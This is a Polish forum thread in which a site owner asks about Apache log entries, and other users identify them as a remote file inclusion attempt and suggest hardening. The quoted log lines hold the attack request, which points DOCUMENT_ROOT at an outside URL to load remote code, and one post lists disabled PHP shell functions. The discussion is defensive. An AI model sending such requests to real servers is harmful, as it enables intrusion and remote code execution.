[apache] Dziwne logi serwera

[eneduerabe]

witam,

wiem, że to nie do końca ten dział, ale chyba nie ma bardziej odpowiedniego.

przeglądając logi natrafiłem na coś takiego:

61.108.83.106 - - [26/Nov/2009:11:06:44 +0100] "GET /strona.html%20%20///?_SERVER[DOCUMENT_ROOT]=https://n34.biz/id1.txt? HTTP/1.1" 404 75

61.108.83.106 - - [26/Nov/2009:11:06:44 +0100] "GET ///?_SERVER[DOCUMENT_ROOT]=https://n34.biz/id1.txt? HTTP/1.1" 200 31801

trochę mnie to zaniepokoiło (próba zmiany DOCUMENT_ROOT ??). wszystko działa i zdaje się, że jest ok. czy mógłbym jednak prosić o interpretację i jeśli to próba włamu, to jak się przed tym uchronić?

[zgred]

zobacz co to za plik https://n34.biz/id1.txt - pewnie jakis kawałek shellowego skryptu. proba jego odpalenia zapewne.

[slawek22]

Próba ataku, na szczęście pewnie nieudana

[eneduerabe]

Próba ataku, na szczęście pewnie nieudana

super, a jak się przed tym uchronić, tj. na co zwrócić uwagę?

[Mion]

Zablokuj IP 61.108.83.106 z którego było te żądanie GET

[eneduerabe]

Zablokuj IP 61.108.83.106 z którego było te żądanie GET

ok, od tego zacząłem ale mi chodzi bardziej globalnie, na co zwrócić uwagę w konfiguracji serwera i/lub aplikacji?

dodam jeszcze co mam:

- safe_mode = On

- disable_functions = phpinfo, exec, passthru, system , fopen, fsockopen

- register_globals = Off

- expose_php = Off

- allow_url_fopen = Off

- ServerSignature Off

- ServerToken Prod

może byście coś dorzucili do tego zestawu?

[AleksanderPe]

https://www.securityfocus.com/bid/37106

[zgred]

w sumei wywal plik GET albo daj mu inna nazwe - jak go bedzies zpotrzebować to sobie zmienisz na powrót

[Mion]

GET to jest typ żądania HTTP, a nie plik..

[sniver]

1. zrób stronę 404 i dodaj ją do konfiguracji apache

2. zrób "przeciążeniówkę" i dodaj ją do konfiguracji apache

3. oprogramowanie jeśli nie może czegoś wyświetlić bo takiej treści nie ma to 404...

4. dodaj obsługę błędów w kodzie - nie uchronisz się przed takimi "smakołykami", ale możesz uszczelnić wiele bugów

Ataki które wykorzystują mozliwie każdy dostępny slot w serwerach WWW są bardzo popularne, a zapełnienie całej puli (np. możliwe jest tylko 50 połączeń) uniemożliwi uruchomienie strony osobie która chce się na nią dostać...